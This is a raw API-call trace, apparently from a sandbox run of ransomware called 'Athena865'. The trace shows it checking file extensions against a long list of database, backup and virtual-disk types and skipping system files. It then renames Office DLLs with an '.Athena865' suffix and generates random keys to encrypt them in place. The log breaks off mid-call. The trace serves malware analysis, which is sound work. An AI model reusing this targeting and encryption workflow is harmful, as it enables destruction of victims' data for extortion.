[0070.210] lstrlenW (lpString="fol") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0070.210] lstrlenW (lpString="fp3") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0070.210] lstrlenW (lpString="fp4") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0070.210] lstrlenW (lpString="fp5") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0070.210] lstrlenW (lpString="fp7") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0070.210] lstrlenW (lpString="fpt") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0070.210] lstrlenW (lpString="frm") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0070.210] lstrlenW (lpString="gdb") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0070.210] lstrlenW (lpString="gdb") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0070.210] lstrlenW (lpString="grdb") returned 4 [0070.210] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0070.210] lstrlenW (lpString="gwi") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0070.210] lstrlenW (lpString="hdb") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0070.210] lstrlenW (lpString="his") returned 3 [0070.210] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0070.210] lstrlenW (lpString="ib") returned 2 [0070.210] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0070.211] lstrlenW (lpString="idb") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0070.211] lstrlenW (lpString="ihx") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0070.211] lstrlenW (lpString="itdb") returned 4 [0070.211] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0070.211] lstrlenW (lpString="itw") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0070.211] lstrlenW (lpString="jet") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0070.211] lstrlenW (lpString="jtx") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0070.211] lstrlenW (lpString="kdb") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0070.211] lstrlenW (lpString="kexi") returned 4 [0070.211] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0070.211] lstrlenW (lpString="kexic") returned 5 [0070.211] lstrcmpiW (lpString1="r.dll", lpString2="kexic") returned 1 [0070.211] lstrlenW (lpString="kexis") returned 5 [0070.211] lstrcmpiW (lpString1="r.dll", lpString2="kexis") returned 1 [0070.211] lstrlenW (lpString="lgc") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0070.211] lstrlenW (lpString="lwx") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0070.211] lstrlenW (lpString="maf") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0070.211] lstrlenW (lpString="maq") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0070.211] lstrlenW (lpString="mar") returned 3 [0070.211] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0070.211] lstrlenW (lpString="marshal") returned 7 [0070.212] lstrcmpiW (lpString1="ler.dll", lpString2="marshal") returned -1 [0070.212] lstrlenW (lpString="mas") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0070.212] lstrlenW (lpString="mav") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0070.212] lstrlenW (lpString="maw") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0070.212] lstrlenW (lpString="mdbhtml") returned 7 [0070.212] lstrcmpiW (lpString1="ler.dll", lpString2="mdbhtml") returned -1 [0070.212] lstrlenW (lpString="mdn") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0070.212] lstrlenW (lpString="mdt") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0070.212] lstrlenW (lpString="mfd") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0070.212] lstrlenW (lpString="mpd") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0070.212] lstrlenW (lpString="mrg") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0070.212] lstrlenW (lpString="mud") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0070.212] lstrlenW (lpString="mwb") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0070.212] lstrlenW (lpString="myd") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0070.212] lstrlenW (lpString="ndf") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0070.212] lstrlenW (lpString="nnt") returned 3 [0070.212] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0070.212] lstrlenW (lpString="nrmlib") returned 6 [0070.212] lstrcmpiW (lpString1="er.dll", lpString2="nrmlib") returned -1 [0070.213] lstrlenW (lpString="ns2") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0070.213] lstrlenW (lpString="ns3") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0070.213] lstrlenW (lpString="ns4") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0070.213] lstrlenW (lpString="nsf") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0070.213] lstrlenW (lpString="nv") returned 2 [0070.213] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0070.213] lstrlenW (lpString="nv2") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0070.213] lstrlenW (lpString="nwdb") returned 4 [0070.213] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0070.213] lstrlenW (lpString="nyf") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0070.213] lstrlenW (lpString="odb") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0070.213] lstrlenW (lpString="odb") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0070.213] lstrlenW (lpString="oqy") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0070.213] lstrlenW (lpString="ora") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0070.213] lstrlenW (lpString="orx") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0070.213] lstrlenW (lpString="owc") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0070.213] lstrlenW (lpString="p96") returned 3 [0070.213] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0070.213] lstrlenW (lpString="p97") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0070.214] lstrlenW (lpString="pan") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0070.214] lstrlenW (lpString="pdb") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0070.214] lstrlenW (lpString="pdm") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0070.214] lstrlenW (lpString="pnz") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0070.214] lstrlenW (lpString="qry") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0070.214] lstrlenW (lpString="qvd") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0070.214] lstrlenW (lpString="rbf") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0070.214] lstrlenW (lpString="rctd") returned 4 [0070.214] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0070.214] lstrlenW (lpString="rod") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0070.214] lstrlenW (lpString="rodx") returned 4 [0070.214] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0070.214] lstrlenW (lpString="rpd") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0070.214] lstrlenW (lpString="rsd") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0070.214] lstrlenW (lpString="sas7bdat") returned 8 [0070.214] lstrcmpiW (lpString1="dler.dll", lpString2="sas7bdat") returned -1 [0070.214] lstrlenW (lpString="sbf") returned 3 [0070.214] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0070.214] lstrlenW (lpString="scx") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0070.215] lstrlenW (lpString="sdb") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0070.215] lstrlenW (lpString="sdc") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0070.215] lstrlenW (lpString="sdf") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0070.215] lstrlenW (lpString="sis") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0070.215] lstrlenW (lpString="spq") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0070.215] lstrlenW (lpString="te") returned 2 [0070.215] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0070.215] lstrlenW (lpString="teacher") returned 7 [0070.215] lstrcmpiW (lpString1="ler.dll", lpString2="teacher") returned -1 [0070.215] lstrlenW (lpString="tmd") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0070.215] lstrlenW (lpString="tps") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0070.215] lstrlenW (lpString="trc") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0070.215] lstrlenW (lpString="trc") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0070.215] lstrlenW (lpString="trm") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0070.215] lstrlenW (lpString="udb") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0070.215] lstrlenW (lpString="udl") returned 3 [0070.215] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0070.215] lstrlenW (lpString="usr") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0070.216] lstrlenW (lpString="v12") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0070.216] lstrlenW (lpString="vis") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0070.216] lstrlenW (lpString="vpd") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0070.216] lstrlenW (lpString="vvv") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0070.216] lstrlenW (lpString="wdb") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0070.216] lstrlenW (lpString="wmdb") returned 4 [0070.216] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0070.216] lstrlenW (lpString="wrk") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0070.216] lstrlenW (lpString="xdb") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0070.216] lstrlenW (lpString="xld") returned 3 [0070.216] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0070.216] lstrlenW (lpString="xmlff") returned 5 [0070.216] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0070.216] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll.Athena865") returned 74 [0070.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll.athena865"), dwFlags=0x1) returned 1 [0070.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityDataHandler.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\entitydatahandler.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.229] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=62336) returned 1 [0070.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.229] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.230] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.230] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.230] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf680, lpName=0x0) returned 0x154 [0070.232] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf680) returned 0x100000 [0070.257] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.258] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.258] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.258] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.259] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.259] CloseHandle (hObject=0x154) returned 1 [0070.259] CloseHandle (hObject=0x17c) returned 1 [0070.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.260] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2=".") returned 1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="..") returned 1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="windows") returned -1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="bootmgr") returned 1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="temp") returned -1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="pagefile.sys") returned -1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="boot") returned 1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="ids.txt") returned -1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="ntuser.dat") returned -1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="perflogs") returned -1 [0070.260] lstrcmpiW (lpString1="EntityPicker.dll", lpString2="MSBuild") returned -1 [0070.260] lstrlenW (lpString="EntityPicker.dll") returned 16 [0070.260] lstrcpyW (in: lpString1=0x241e89e, lpString2="EntityPicker.dll" | out: lpString1="EntityPicker.dll") returned="EntityPicker.dll" [0070.261] lstrlenW (lpString="EntityPicker.dll") returned 16 [0070.261] lstrlenW (lpString="Athena865") returned 9 [0070.261] lstrcmpiW (lpString1="icker.dll", lpString2="Athena865") returned 1 [0070.261] lstrlenW (lpString=".dll") returned 4 [0070.261] lstrcmpiW (lpString1="EntityPicker.dll", lpString2=".dll") returned 1 [0070.261] lstrlenW (lpString=".lnk") returned 4 [0070.261] lstrcmpiW (lpString1="EntityPicker.dll", lpString2=".lnk") returned 1 [0070.261] lstrlenW (lpString=".ini") returned 4 [0070.261] lstrcmpiW (lpString1="EntityPicker.dll", lpString2=".ini") returned 1 [0070.261] lstrlenW (lpString=".sys") returned 4 [0070.261] lstrcmpiW (lpString1="EntityPicker.dll", lpString2=".sys") returned 1 [0070.261] lstrlenW (lpString="EntityPicker.dll") returned 16 [0070.261] lstrlenW (lpString="bak") returned 3 [0070.261] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0070.261] lstrlenW (lpString="ba_") returned 3 [0070.261] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0070.261] lstrlenW (lpString="dbb") returned 3 [0070.261] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0070.261] lstrlenW (lpString="vmdk") returned 4 [0070.261] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0070.261] lstrlenW (lpString="rar") returned 3 [0070.261] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0070.261] lstrlenW (lpString="zip") returned 3 [0070.261] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0070.261] lstrlenW (lpString="tgz") returned 3 [0070.261] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0070.261] lstrlenW (lpString="vbox") returned 4 [0070.261] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0070.261] lstrlenW (lpString="vdi") returned 3 [0070.261] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0070.262] lstrlenW (lpString="vhd") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0070.262] lstrlenW (lpString="vhdx") returned 4 [0070.262] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0070.262] lstrlenW (lpString="avhd") returned 4 [0070.262] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0070.262] lstrlenW (lpString="db") returned 2 [0070.262] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0070.262] lstrlenW (lpString="db2") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0070.262] lstrlenW (lpString="db3") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0070.262] lstrlenW (lpString="dbf") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0070.262] lstrlenW (lpString="mdf") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0070.262] lstrlenW (lpString="mdb") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0070.262] lstrlenW (lpString="sql") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0070.262] lstrlenW (lpString="sqlite") returned 6 [0070.262] lstrcmpiW (lpString1="er.dll", lpString2="sqlite") returned -1 [0070.262] lstrlenW (lpString="sqlite3") returned 7 [0070.262] lstrcmpiW (lpString1="ker.dll", lpString2="sqlite3") returned -1 [0070.262] lstrlenW (lpString="sqlitedb") returned 8 [0070.262] lstrcmpiW (lpString1="cker.dll", lpString2="sqlitedb") returned -1 [0070.262] lstrlenW (lpString="xml") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0070.262] lstrlenW (lpString="$er") returned 3 [0070.262] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0070.263] lstrlenW (lpString="4dd") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0070.263] lstrlenW (lpString="4dl") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0070.263] lstrlenW (lpString="^^^") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0070.263] lstrlenW (lpString="abs") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0070.263] lstrlenW (lpString="abx") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0070.263] lstrlenW (lpString="accdb") returned 5 [0070.263] lstrcmpiW (lpString1="r.dll", lpString2="accdb") returned 1 [0070.263] lstrlenW (lpString="accdc") returned 5 [0070.263] lstrcmpiW (lpString1="r.dll", lpString2="accdc") returned 1 [0070.263] lstrlenW (lpString="accde") returned 5 [0070.263] lstrcmpiW (lpString1="r.dll", lpString2="accde") returned 1 [0070.263] lstrlenW (lpString="accdr") returned 5 [0070.263] lstrcmpiW (lpString1="r.dll", lpString2="accdr") returned 1 [0070.263] lstrlenW (lpString="accdt") returned 5 [0070.263] lstrcmpiW (lpString1="r.dll", lpString2="accdt") returned 1 [0070.263] lstrlenW (lpString="accdw") returned 5 [0070.263] lstrcmpiW (lpString1="r.dll", lpString2="accdw") returned 1 [0070.263] lstrlenW (lpString="accft") returned 5 [0070.263] lstrcmpiW (lpString1="r.dll", lpString2="accft") returned 1 [0070.263] lstrlenW (lpString="adb") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0070.263] lstrlenW (lpString="adb") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0070.263] lstrlenW (lpString="ade") returned 3 [0070.263] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0070.264] lstrlenW (lpString="adf") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0070.264] lstrlenW (lpString="adn") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0070.264] lstrlenW (lpString="adp") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0070.264] lstrlenW (lpString="alf") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0070.264] lstrlenW (lpString="ask") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0070.264] lstrlenW (lpString="btr") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0070.264] lstrlenW (lpString="cat") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0070.264] lstrlenW (lpString="cdb") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0070.264] lstrlenW (lpString="ckp") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0070.264] lstrlenW (lpString="cma") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0070.264] lstrlenW (lpString="cpd") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0070.264] lstrlenW (lpString="dacpac") returned 6 [0070.264] lstrcmpiW (lpString1="er.dll", lpString2="dacpac") returned 1 [0070.264] lstrlenW (lpString="dad") returned 3 [0070.264] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0070.264] lstrlenW (lpString="dadiagrams") returned 10 [0070.265] lstrcmpiW (lpString1="Picker.dll", lpString2="dadiagrams") returned 1 [0070.265] lstrlenW (lpString="daschema") returned 8 [0070.265] lstrcmpiW (lpString1="cker.dll", lpString2="daschema") returned -1 [0070.265] lstrlenW (lpString="db-journal") returned 10 [0070.265] lstrcmpiW (lpString1="Picker.dll", lpString2="db-journal") returned 1 [0070.265] lstrlenW (lpString="db-shm") returned 6 [0070.265] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1 [0070.265] lstrlenW (lpString="db-wal") returned 6 [0070.265] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1 [0070.265] lstrlenW (lpString="dbc") returned 3 [0070.265] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0070.265] lstrlenW (lpString="dbs") returned 3 [0070.265] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0070.265] lstrlenW (lpString="dbt") returned 3 [0070.265] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0070.265] lstrlenW (lpString="dbv") returned 3 [0070.265] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0070.265] lstrlenW (lpString="dbx") returned 3 [0070.265] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0070.265] lstrlenW (lpString="dcb") returned 3 [0070.265] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0070.265] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll.Athena865") returned 69 [0070.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll.athena865"), dwFlags=0x1) returned 1 [0070.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EntityPicker.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\entitypicker.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.267] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=268672) returned 1 [0070.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.267] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.267] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.268] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.268] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.268] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 